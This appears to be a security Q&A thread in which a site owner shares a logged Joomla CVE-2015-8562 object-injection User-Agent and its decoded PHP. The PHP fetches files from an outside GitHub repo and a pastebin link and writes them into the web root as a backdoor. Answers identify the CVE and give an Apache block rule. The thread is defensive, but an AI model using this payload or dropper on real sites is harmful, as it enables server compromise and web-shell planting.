0

I found this user agent logged in one of my websites:

Array
(
    [IPaddress] => 115.89.123.121
    [userAgent] => }__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";s:5070:"eval(base64_decode('JGNoZWNrID0gJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXSAuICIvdG1wL3Z1bG4yLnBocCIgOw0KJGZwPWZvcGVuKCIkY2hlY2siLCJ3KyIpOw0KZndyaXRlKCRmcCxiYXNlNjRfZGVjb2RlKCdQRDl3YUhBTkNtWjFibU4wYVc5dUlHaDBkSEJmWjJWMEtDUjFjbXdwZXcwS0NTUnBiU0E5SUdOMWNteGZhVzVwZENna2RYSnNLVHNOQ2dsamRYSnNYM05sZEc5d2RDZ2thVzBzSUVOVlVreFBVRlJmVWtWVVZWSk9WRkpCVGxOR1JWSXNJREVwT3cwS0NXTjFjbXhmYzJWMGIzQjBLQ1JwYlN3Z1ExVlNURTlRVkY5RFQwNU9SVU5VVkVsTlJVOVZWQ3dnTVRBcE93MEtDV04xY214ZmMyVjBiM0IwS0NScGJTd2dRMVZTVEU5UVZGOUdUMHhNVDFkTVQwTkJWRWxQVGl3Z01TazdEUW9KWTNWeWJGOXpaWFJ2Y0hRb0pHbHRMQ0JEVlZKTVQxQlVYMGhGUVVSRlVpd2dNQ2s3RFFvSmNtVjBkWEp1SUdOMWNteGZaWGhsWXlna2FXMHBPdzBLQ1dOMWNteGZZMnh2YzJVb0pHbHRLVHNOQ24wTkNpUmphR1ZqYXlBOUlDUmZVMFZTVmtWU1d5ZEVUME5WVFVWT1ZGOVNUMDlVSjEwZ0xpQWlMM1J0Y0M5MmRXeHVMbkJvY0NJZ093MEtKSFJsZUhRZ1BTQm9kSFJ3WDJkbGRDZ25hSFIwY0hNNkx5OXlZWGN1WjJsMGFIVm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actory::getConfig();exit";s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}ğııı
[store] => 
)

And the decoded version:

<?php
function http_get($url)
{
    $im = curl_init($url);
    curl_setopt($im, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($im, CURLOPT_CONNECTTIMEOUT, 10);
    curl_setopt($im, CURLOPT_FOLLOWLOCATION, 1);
    curl_setopt($im, CURLOPT_HEADER, 0);
    return curl_exec($im);
    curl_close($im);
}
$check = $_SERVER['DOCUMENT_ROOT'] . "/tmp/vuln.php";
$text  = http_get('https://raw.githubusercontent.com/04x/ICG-AutoExploiterBoT/master/files/up.php');
$open  = fopen($check, 'w');
fwrite($open, $text);
fclose($open);
if (file_exists($check)) {
    echo $check . "</br>";
} else
    echo "not exits";
echo "done .\n ";
$check2 = $_SERVER['DOCUMENT_ROOT'] . "/images/vuln.php";
$text2  = http_get('https://raw.githubusercontent.com/04x/ICG-AutoExploiterBoT/master/files/up.php');
$open2  = fopen($check2, 'w');
fwrite($open2, $text2);
fclose($open2);
if (file_exists($check2)) {
    echo $check2 . "</br>";
} else
    echo "not exits2";
echo "done2 .\n ";

$check3 = $_SERVER['DOCUMENT_ROOT'] . "/vuln.htm";
$text3  = http_get('https://pastebin.com/raw/880ufaWF');
$op3    = fopen($check3, 'w');
fwrite($op3, $text3);
fclose($op3);


$check6 = $_SERVER['DOCUMENT_ROOT'] . "/images/vuln.htm";
$text6  = http_get('https://pastebin.com/raw/880ufaWF');
$op6    = fopen($check6, 'w');
fwrite($op6, $text6);
fclose($op6);
?><?php
function http_get($url)
{
    $im = curl_init($url);
    curl_setopt($im, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($im, CURLOPT_CONNECTTIMEOUT, 10);
    curl_setopt($im, CURLOPT_FOLLOWLOCATION, 1);
    curl_setopt($im, CURLOPT_HEADER, 0);
    return curl_exec($im);
    curl_close($im);
}
$check = $_SERVER['DOCUMENT_ROOT'] . "/tmp/vuln.php";
$text  = http_get('https://raw.githubusercontent.com/04x/ICG-AutoExploiterBoT/master/files/up.php');
$open  = fopen($check, 'w');
fwrite($open, $text);
fclose($open);
if (file_exists($check)) {
    echo $check . "</br>";
} else
    echo "not exits";
echo "done .\n ";
$check2 = $_SERVER['DOCUMENT_ROOT'] . "/images/vuln.php";
$text2  = http_get('https://raw.githubusercontent.com/04x/ICG-AutoExploiterBoT/master/files/up.php');
$open2  = fopen($check2, 'w');
fwrite($open2, $text2);
fclose($open2);
if (file_exists($check2)) {
    echo $check2 . "</br>";
} else
    echo "not exits2";
echo "done2 .\n ";

$check3 = $_SERVER['DOCUMENT_ROOT'] . "/vuln.htm";
$text3  = http_get('https://pastebin.com/raw/880ufaWF');
$op3    = fopen($check3, 'w');
fwrite($op3, $text3);
fclose($op3);


$check6 = $_SERVER['DOCUMENT_ROOT'] . "/images/vuln.htm";
$text6  = http_get('https://pastebin.com/raw/880ufaWF');
$op6    = fopen($check6, 'w');
fwrite($op6, $text6);
fclose($op6);
?>

Has anyone encountered something like this? What webservers would be affected by this exploit? I'm running CentOS 7.4 w/ Apache 2.4.

  • Looks like that's github.com/04x/ICG-AutoExploiterBoT. But I can't tell from what you've sent if you've been successfully exploited or if this was just an attempted exploit. You can look around to see if the files from the GitHub repo are on your computer. If they are on the computer and accessible from the web, then you've likely been exploited. And it looks like it's not the webserver as much as the content management system. – Neil Smithline Apr 20 '18 at 0:32
2

The user-agent beginning with }__test|O:21:" suggests this is an exploit against Joomla! CVE-2015-8562. If this site didn't have old Joomla! 1.5.0 through 3.4.5 from before 2015-December-14, you shouldn't be affected.

The vulnerability is explained in detail on Sucuri Blog.

Back then I had to temporarily protect my customers from this before they all updated their Joomla! installations. I created a server-wide solution for Apache to block these request using the BrowserMatch directive (in conf.d/):

BrowserMatch O:[0-9] joomla-exploit-workaround

Deny from env=joomla-exploit-workaround

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.